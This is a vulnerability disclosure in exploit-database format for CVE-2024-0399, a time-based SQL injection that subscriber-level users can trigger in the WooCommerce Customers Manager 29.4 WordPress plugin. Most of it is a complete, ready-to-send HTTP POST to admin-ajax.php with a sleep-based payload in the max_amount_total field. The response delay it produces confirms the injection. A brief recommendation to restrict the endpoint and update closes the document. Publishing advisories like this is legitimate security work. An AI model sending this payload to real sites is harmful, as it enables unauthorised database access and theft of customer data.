# Exploit Title: WooCommerce Customers Manager 29.4 - Post-Authenticated SQL Injection # Date: 2024-03-25 # Exploit Author: Ivan Spiridonov - xbz0n # Software Link: https://codecanyon.net/item/woocommerce-customers-manager/10965432 # Version: 29.4 # Tested on: Ubuntu 22.04 # CVE: CVE-2024-0399 ## SQL Injection The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to an SQL injection exploitable by Subscriber+ role. ## Affected Components - **Plugin:** WooCommerce Customers Manager - **Version:** 29.4 - **Affected Parameters:** 'max_amount', 'max_amount_total', 'min_amount', 'min_amount_total' - **Affected Endpoint:** /wp-admin/admin-ajax.php ## Description The vulnerability is located within the transaction amount parameters like 'max_amount', 'max_amount_total', 'min_amount', and 'min_amount_total' used in the admin AJAX endpoint. By injecting SQL commands into these parameters, authenticated attackers can manipulate SQL queries leading to a time-based SQL Injection vulnerability. ## Proof of Concept ### Manual Exploitation ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295 Content-Length: 1877 Origin: http://localhost Connection: close Cookie: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="action" wccm_get_orders_tot_num -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="start_date" 2024-01-09 -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="end_date" 2024-01-11 -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="customer_ids" -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="product_ids" -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="category_ids" -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="min_amount" 0 -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="max_amount" 0 -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="min_amount_total" 0 -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="max_amount_total" (select*from(select(sleep(20)))a) -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="product_relationship" or -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="product_category_relationship" or -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="product_category_filters_relationship" and -----------------------------2461714219322283440478088295 Content-Disposition: form-data; name="statuses" wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft -----------------------------2461714219322283440478088295-- ``` If the server response is delayed by approximately 20 seconds, it indicates a successful exploitation of the time-based SQL Injection, confirming the vulnerability. ## Recommendations Users of WooCommerce Customers Manager v29.4 are strongly advised to restrict access to the affected endpoint and update the plugin as soon as a fixed version is released.
